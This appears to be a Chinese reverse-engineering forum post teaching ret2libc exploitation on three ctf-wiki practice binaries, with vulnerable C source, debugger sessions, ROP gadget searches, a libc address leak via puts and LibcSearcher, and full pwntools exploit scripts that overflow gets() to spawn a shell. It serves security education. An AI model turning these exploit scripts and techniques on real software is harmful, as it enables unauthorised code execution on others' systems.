学逆向论坛

找回密码
立即注册

只需一步,快速开始

发新帖

340

积分

3

好友

9

主题
发表于 2019-2-20 11:07:09 | 查看: 5889| 回复: 0

相关题目:

简介
ret2libc就是控制函数的执行libc中的函数,通常是返回至某个函数的 plt 处或者函数的具体位置 (即函数对应的 got 表项的内容)。一般情况下,我们会选择执行 system("/bin/sh"),因此我们通常需要找到 system 函数的地址
ret2libc通常可以分为下面这几类:
* 程序中自身就含有system函数和"/bin/sh"字符串
* 程序中自身就有system函数,但是没有"/bin/sh"字符串
* 程序中自身就没有system函数和"/bin/sh"字符串,但给出了libc.so文件
* 程序中自身就没有system函数和"/bin/sh"字符串,并且没有给出libc.so文件


基本思路

不管程序没有直接给出我们需要条件,我们都要想办法找到system()函数的地址和"/bin/sh"字符串的地址;当程序中没有"/bin/sh"字符串时,我们可以利用程序中某些函数如:read,fgets,gets等函数将"/bin/sh"字符串写入bss段或某个变量中,并且要可以找到其地址;对于只给出了libc.so文件的程序,我们可以直接在libc.so文件当中去找system()函数和"/bin/sh"字符串,因为libc.so文件中也是包含这些了的;最后对于没有给出libc.so文件的程序,我们可以通过泄露出程序当中的某个函数的地址,通过查询来找出其使用lib.so版本是哪一个
我们以ctf-wiki中[例子](https://github.com/ctf-wiki/ctf- ... ckoverflow/ret2libc)来看看具体方法

---
ret2libc1
---
ret2libc1的源码
#include <stdio.h>
#include <stdlib.h>
#include <time.h>

char *shell = "/bin/sh";
char buf2[100];

void secure(void)
{
    int secretcode, input;
    srand(time(NULL));

    secretcode = rand();
    scanf("%d", &input);
    if(input == secretcode)
        system("shell!?");
}

int main(void)
{
    setvbuf(stdout, 0LL, 2, 0LL);
    setvbuf(stdin, 0LL, 1, 0LL);

    char buf1[100];

    printf("RET2LIBC >_<\n");
    gets(buf1);

    return 0;
}


很明显查询当中有system()函数和"/bin/sh"字符串,并且有一个溢出漏洞
我们先看看它的保护开了哪些:
root@sir-PC:/ret2libc1# checksec ret2libc1
'/ret2libc1'
    Arch:     i386-32-little
    RELRO:    Partial RELRO
    Stack:    No canary found
    NX:       NX enabled
    PIE:      No PIE (0x8048000)


没有开Stack和PIE,所以思路非常清晰了,只需要用system()函数的plt覆盖返回地址,并且将字符串传进去就可以了
找system()函数的plt位置:
root@sir-PC:/ret2libc1# objdump -dj .plt ret2libc1
...
08048450 <puts@plt>:
8048450:        ff 25 14 a0 04 08            jmp    *0x804a014
8048456:        68 10 00 00 00               push   $0x10
804845b:        e9 c0 ff ff ff               jmp    8048420 <.plt>

08048460 <system@plt>:
8048460:        ff 25 18 a0 04 08            jmp    *0x804a018
8048466:        68 18 00 00 00               push   $0x18
804846b:        e9 b0 ff ff ff               jmp    8048420 <.plt>
...


找字符串的位置和多少字节溢出:
root@sir-PC:/ret2libc1# gdb ret2libc1
pwndbg: loaded 174 commands. Type pwndbg [filter] for a list.
pwndbg: created $rebase, $ida gdb functions (can be used with print/break)
Reading symbols from ret2libc1...done.
pwndbg> b main
Breakpoint 1 at 0x8048621: file ret2libc1.c, line 21.
pwndbg> cyclic 120
aaaabaaacaaadaaaeaaafaaagaaahaaaiaaajaaakaaalaaamaaanaaaoaaapaaaqaaaraaasaaataaauaaavaaawaaaxaaayaaazaabbaabcaabdaabeaab
pwndbg> r
pwndbg> search "/bin/sh"
ret2libc1       0x8048720 0x6e69622f /* '/bin/sh' */
ret2libc1       0x8049720 '/bin/sh' //字符串地址
libc-2.27.so    0xf7f53988 das     /* '/bin/sh' */
pwndbg> c
Continuing.
RET2LIBC >_<
aaaabaaacaaadaaaeaaafaaagaaahaaaiaaajaaakaaalaaamaaanaaaoaaapaaaqaaaraaasaaataaauaaavaaawaaaxaaayaaazaabbaabcaabdaabeaab

Program received signal SIGSEGV, Segmentation fault.
0x62616164 in ?? ()
pwndbg> cyclic -l 0x62616164
112 //溢出数
```


---
EXP1
---
from pwn import *
p = process('./ret2libc1')
context.log_level = 'debug'
system_addr = 0x08048460
binsh_addr = 0x8049720
p.recvuntil('RET2LIBC >_<\n')
p.sendline('a'*112 + p32(system_addr) + 'aaaa' + p32(binsh_addr))
p.interactive()


---
ret2libc2
---
ret2libc2的源码:
#include <stdio.h>
#include <stdlib.h>
#include <time.h>

char buf2[100];

void secure(void)
{
    int secretcode, input;
    srand(time(NULL));

    secretcode = rand();
    scanf("%d", &input);
    if(input == secretcode)
        system("no_shell_QQ");
}

int main(void)
{
    setvbuf(stdout, 0LL, 2, 0LL);
    setvbuf(stdin, 0LL, 1, 0LL);

    char buf1[100];

    printf("Something surprise here, but I don't think it will work.\n");
    printf("What do you think ?");
    gets(buf1);

    return 0;
}

明显看到了system()函数,但是没有看到"/bin/sh"字符串,而且有溢出
看看保护机制:
root@sir-PC:/ret2libc2# checksec ret2libc2
'/ret2libc2'
    Arch:     i386-32-little
    RELRO:    Partial RELRO
    Stack:    No canary found
    NX:       NX enabled
    PIE:      No PIE (0x8048000)
所以现在思路也非常清晰,我们通过gest()函数向bss段或者直接是buf2中写入"/bin/sh/",然后再将其作为参数传给system()函数,其中这里要用到ROP的技术,即我们payload为:
payload = flat(['a' * 112, gets_plt, pop_ebx, buf2, system_plt, 'aaaa', buf2])

找溢出数和buf2的地址:
root@sir-PC:/ret2libc2# gdb ret2libc2
pwndbg: loaded 174 commands. Type pwndbg [filter] for a list.
pwndbg: created $rebase, $ida gdb functions (can be used with print/break)
Reading symbols from ret2libc2...done.
pwndbg> b main
Breakpoint 1 at 0x8048651: file ret2libc.c, line 20.
pwndbg> cyclic 120
aaaabaaacaaadaaaeaaafaaagaaahaaaiaaajaaakaaalaaamaaanaaaoaaapaaaqaaaraaasaaataaauaaavaaawaaaxaaayaaazaabbaabcaabdaabeaab
pwndbg> r
pwndbg> p &buf2
$2 = (char (*)[100]) 0x804a080 <buf2>
pwndbg> c
Continuing.
Something surprise here, but I don't think it will work.
What do you think ?aaaabaaacaaadaaaeaaafaaagaaahaaaiaaajaaakaaalaaamaaanaaaoaaapaaaqaaaraaasaaataaauaaavaaawaaaxaaayaaazaabbaabcaabdaabeaab
Program received signal SIGSEGV, Segmentation fault.
0x62616164 in ?? ()
pwndbg> cyclic -l 0x62616164
112

找gets()和system()函数的plt:
root@sir-PC:/ret2libc2# objdump -dj .plt ret2libc2
...

08048460 <gets@plt>:
8048460:        ff 25 10 a0 04 08            jmp    *0x804a010
8048466:        68 08 00 00 00               push   $0x8
804846b:        e9 d0 ff ff ff               jmp    8048440 <.plt>

...

08048480 <puts@plt>:
8048480:        ff 25 18 a0 04 08            jmp    *0x804a018
8048486:        68 18 00 00 00               push   $0x18
804848b:        e9 b0 ff ff ff               jmp    8048440 <.plt>

08048490 <system@plt>:
8048490:        ff 25 1c a0 04 08            jmp    *0x804a01c
8048496:        68 20 00 00 00               push   $0x20
804849b:        e9 a0 ff ff ff               jmp    8048440 <.plt>

找合适的ROP:
root@sir-PC:/ret2libc2# ROPgadget --binary ret2libc2 --only "pop|ret"
Gadgets information
============================================================
0x0804872f : pop ebp ; ret
0x0804872c : pop ebx ; pop esi ; pop edi ; pop ebp ; ret
0x0804843d : pop ebx ; ret //这个就合适,因为我们只有一个数据需要pop掉
0x0804872e : pop edi ; pop ebp ; ret
0x0804872d : pop esi ; pop edi ; pop ebp ; ret
0x08048426 : ret
0x0804857e : ret 0xeac1

Unique gadgets found: 7

---
EXP2
---
from pwn import *
p = process('./ret2libc2')
buf2_addr = 0x804a080
gets_addr = 0x8048460
system_addr = 0x8048490
pop_ebx_addr = 0x0804843d
p.recvuntil('What do you think ?')
p.sendline('a'*112 + p32(gets_addr) + p32(pop_ebx_addr) + p32(buf2_addr) + p32(system_addr) + 'aaaa' + p32(buf2_addr))
p.sendline('/bin/sh\x00')
p.interactive()[pre]
或
[pre]from pwn import *
proc = './ret2libc2'
p = process(proc)
elf = ELF(proc)
rop = ROP(elf)
rop_ebx = 0x0804843d
p.sendlineafter('?','a'*112 + p32(elf.plt['gets']) + p32(rop.search(8).address) + p32(elf.bss()+0x100) + p32(elf.plt['system']) + 'aaaa' + p32(elf.bss()+0x100))
p.sendline("/bin/sh\x00")
p.interactive()[pre]
这两个exp其实都一样的,不过一个向buf2中写数据,一个在bss段写

---
ret2libc3
---
ret2libc3的源码:
[pre]#include <stdio.h>
#include <stdlib.h>
#include <time.h>

char buf2[100];

void secure(void)
{
    int secretcode, input;
    srand(time(NULL));

    secretcode = rand();
    scanf("%d", &input);
    if(input == secretcode)
        puts("no_shell_QQ");
}

int main(void)
{
    setvbuf(stdout, 0LL, 2, 0LL);
    setvbuf(stdin, 0LL, 1, 0LL);

    char buf1[100];

    printf("No surprise anymore, system disappeard QQ.\n");
    printf("Can you find it !?");
    gets(buf1);

    return 0;
}

这程序当中没有system()函数和”/bin/sh“字符串,虽然给出了libc.so文件,但是我们不用,假装我们没有libc
我们还是先检查保护机制:
root@sir-PC:/ret2libc3# checksec ret2libc3
'/ret2libc3'
    Arch:     i386-32-little
    RELRO:    Partial RELRO
    Stack:    No canary found
    NX:       NX enabled
    PIE:      No PIE (0x8048000)
同样的没有开启Stack和PIE,所以这道题的思路就是利用puts()函数来泄露出某个函数在libc中的地址,然后在这个网站或通过LibcSearcher工具查询地址低12位来确定libc的版本这道题我是通过puts()函数将__libc_start_main在libc中的地址泄露出来,然后通过LibcSearcher去查找libc的版本,最终得到system()函数和"/bin/sh"字符串的地址
不过需要注意的,这个LibcSearcher工具找到libc版本可能有多个,需要你去判断,而且得到的字符串的地址不一定刚刚好,可能需要通过调试去验证。。。
先查看__libc_start_main的got表地址:
root@sir-PC:/ret2libc3# objdump -R ret2libc3

ret2libc3:     文件格式 elf32-i386

DYNAMIC RELOCATION RECORDS
OFFSET   TYPE              VALUE 
08049ffc R_386_GLOB_DAT    __gmon_start__
0804a040 R_386_COPY        stdin@@GLIBC_2.0
0804a060 R_386_COPY        stdout@@GLIBC_2.0
0804a00c R_386_JUMP_SLOT   printf@GLIBC_2.0
0804a010 R_386_JUMP_SLOT   gets@GLIBC_2.0
0804a014 R_386_JUMP_SLOT   time@GLIBC_2.0
0804a018 R_386_JUMP_SLOT   puts@GLIBC_2.0
0804a01c R_386_JUMP_SLOT   __gmon_start__
0804a020 R_386_JUMP_SLOT   srand@GLIBC_2.0
0804a024 R_386_JUMP_SLOT   __libc_start_main@GLIBC_2.0 //这个函数用起方便
0804a028 R_386_JUMP_SLOT   setvbuf@GLIBC_2.0
0804a02c R_386_JUMP_SLOT   rand@GLIBC_2.0
0804a030 R_386_JUMP_SLOT   __isoc99_scanf@GLIBC_2.7

找puts()函数的plt表:
root@sir-PC:/ret2libc3# objdump -dj .plt ret2libc3

ret2libc3:     文件格式 elf32-i386

Disassembly of section .plt:
...
08048460 <puts@plt>:
8048460:        ff 25 18 a0 04 08            jmp    *0x804a018
8048466:        68 18 00 00 00               push   $0x18
804846b:        e9 b0 ff ff ff               jmp    8048420 <.plt>
...

这里先提一下LibcSearcher的安装及其用法:
安装:
git clone https://github.com/lieanu/LibcSearcher.git
cd LibcSearcher
python setup.py develop

用法演示:
from LibcSearcher import *

#第二个参数,为已泄露的实际地址,或最后12位(比如:d90),int类型
obj = LibcSearcher("fgets", 0X7ff39014bd90)

obj.dump("system")        #system 偏移
obj.dump("str_bin_sh")    #/bin/sh 偏移
obj.dump("__libc_start_main_ret")

如果遇到返回多个libc版本库的情况,可以通过add_condition(leaked_func, leaked_address)来添加限制条件,也可以手工选择其中一个libc版本

---
EXP3
---
from pwn import *
from LibcSearcher import LibcSearcher
p = process('./ret2libc3')
context.log_level = 'debug'
start_addr = 0x80484d0
puts_plt_addr = 0x8048460
libc_start_main_got_addr = 0x804a024
p.recvuntil('Can you find it !?')
p.sendline('q'*112 + p32(puts_plt_addr) + p32(start_addr) + p32(libc_start_main_got_addr))
libc_start_main_addr = u32(p.recv(4))
print "__libc_start_main_addr: " + hex(libc_start_main_addr)

libc = LibcSearcher('__libc_start_main', libc_start_main_addr)
libcbase = libc_start_main_addr - libc.dump('__libc_start_main')
system_addr = libcbase + libc.dump('system')
binsh_addr = libcbase + libc.dump('str_bin_sh') + 0xb9
print "system_addr: " + hex(system_addr)
print "binsh_addr: " + hex(binsh_addr)
p.recvuntil('Can you find it !?')
p.sendline('s'*112 + p32(system_addr) + 'aaaa' + p32(binsh_addr))
p.interactive()


总结
这些ret2libc应该是属于ROP技术里面的基本操作,要求熟练掌握......





温馨提示:
1.如果您喜欢这篇帖子,请给作者点赞评分,点赞会增加帖子的热度,评分会给作者加学币。(评分不会扣掉您的积分,系统每天都会重置您的评分额度)。
2.回复帖子不仅是对作者的认可,还可以获得学币奖励,请尊重他人的劳动成果,拒绝做伸手党!
3.发广告、灌水回复等违规行为一经发现直接禁言,如果本帖内容涉嫌违规,请点击论坛底部的举报反馈按钮,也可以在【投诉建议】板块发帖举报。

小黑屋|手机版|站务邮箱|学逆向论坛 ( 粤ICP备2021023307号 )|网站地图

GMT+8, 2024-4-25 18:17 , Processed in 0.233979 second(s), 37 queries .

Powered by Discuz! X3.4

Copyright © 2001-2021, Tencent Cloud.

快速回复 返回顶部 返回列表